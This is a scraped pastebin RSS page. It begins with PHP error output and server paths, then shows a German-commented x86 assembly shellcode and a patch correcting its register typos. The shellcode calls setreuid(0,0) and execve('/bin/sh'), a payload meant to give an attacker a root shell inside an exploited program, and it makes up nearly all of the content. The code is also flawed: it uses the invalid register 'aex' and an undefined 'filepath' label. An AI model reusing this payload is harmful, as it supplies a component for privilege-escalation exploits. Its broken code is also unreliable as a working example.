A PHP Error was encountered

Severity: 8192

Message: Function create_function() is deprecated

Filename: geshi/geshi.php

Line Number: 4698

Backtrace:

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4698
Function: _error_handler

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4621
Function: _optimize_regexp_list_tokens_to_string

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 1655
Function: optimize_regexp_list

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2029
Function: optimize_keyword_group

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2168
Function: build_parse_cache

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/Process.php
Line: 45
Function: parse_code

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/models/Pastes.php
Line: 517
Function: syntax

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 575
Function: getPaste

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once

A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/system/core/Exceptions.php:271)

Filename: view/rss.php

Line Number: 2

Backtrace:

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/themes/geocities/views/view/rss.php
Line: 2
Function: header

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 173
Function: include

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 43
Function: _ci_load

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 579
Function: view

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once

shell.asm - Stikked shell.asm - Stikked http://geopaste.scratchbook.ch/ en Re: shell.asm (patch) http://geopaste.scratchbook.ch/view/9b9645d9 Sat, 05 May 2012 20:26:20 +0200 Denim Mockingbird http://geopaste.scratchbook.ch/view/9b9645d9
  1. --- a/shell.asm
  2. +++ b/shell.asm
  3. @@ -17,7 +17,7 @@ _start:
  4.  
  5.  ;zu erst Syscall 70 -> setreuid(uid_t ruid,uid_t uid)
  6.  
  7. -mov aex, 70    ; schreibt die 70 in das regiser wo der syscall erwartet wird
  8. +mov eax, 70    ; schreibt die 70 in das regiser wo der syscall erwartet wird
  9.  mov ebx, 0     ; erste ruid parameter
  10.  mov ecx, 0     ; zweite ruid parameter
  11.  
  12. @@ -30,7 +30,7 @@ mov eax, 0
  13.  mov ebx, filepath      ; schreibt die adresse des strings nach ebx
  14.  mov [ebx+7], al                ; schreibt das 0 aus AEX wobai X im Stuing liegt
  15.  mov [ebx+8], ebx       ; schreibt die adresse des stings ab position 8 , das wären 4 mal A
  16. -mov [ebx+12], aex      ; schreibt die adresse des stings ab position 12 , das wären 4 mal B
  17. +mov [ebx+12], eax      ; schreibt die adresse des stings ab position 12 , das wären 4 mal B
  18.  
  19.  mov eax, 11            ; schreibt die 11 in das regiser wo der syscall erwartet wird
  20.  
  21.  
]]>
Re: shell.asm http://geopaste.scratchbook.ch/view/4bfaecf0 Sat, 05 May 2012 20:24:38 +0200 Small Bat http://geopaste.scratchbook.ch/view/4bfaecf0
  1. BITS 32
  2.  
  3. ;zu erst Syscall 70 -> setreuid(uid_t ruid,uid_t uid)
  4.  
  5. mov aex, 70     ; schreibt die 70 in das regiser wo der syscall erwartet wird
  6. mov ebx, 0      ; erste ruid parameter
  7. mov ecx, 0      ; zweite ruid parameter
  8.  
  9.  
  10. int 0x80        ; initialize systemcall - sagt dem kernel das der systemcall ausgeführt werden soll
  11.  
  12. jmp short two
  13. one:
  14. pop ebx
  15.  
  16.  
  17.  
  18.  
  19. ; jetz alles vorbeiten für syscall 11 -> execve ( const char *finename, char *const argv[], char *const envp[])
  20.  
  21. mov eax, 0
  22. mov ebx, filepath       ; schreibt die adresse des strings nach ebx
  23. mov [ebx+7], al         ; schreibt das 0 aus AEX wobai X im Stuing liegt
  24. mov [ebx+8], ebx        ; schreibt die adresse des stings ab position 8 , das wären 4 mal A
  25. mov [ebx+12], aex       ; schreibt die adresse des stings ab position 12 , das wären 4 mal B
  26.  
  27. mov eax, 11             ; schreibt die 11 in das regiser wo der syscall erwartet wird
  28.  
  29. mov ecx, [ebx+8]        ;läd die adresse an der sich AAAA im sting befand nach ecx
  30. mov edx, [ebx+12]       ;läd die adresse an der sich BBBB im sting befand nach edx
  31.  
  32. int 0x80                ; wieder wie oben dem kernel sagen das der system call ausgeführt werden soll
  33.  
  34. two:
  35. call one
  36.  
  37. db '/bin/shXAAAABBBB'
  38.  
  39. ; compiliren mit
  40. ; nasm -f elf shellcode.asm
  41. ; hexeditor shellcode
  42.  
]]>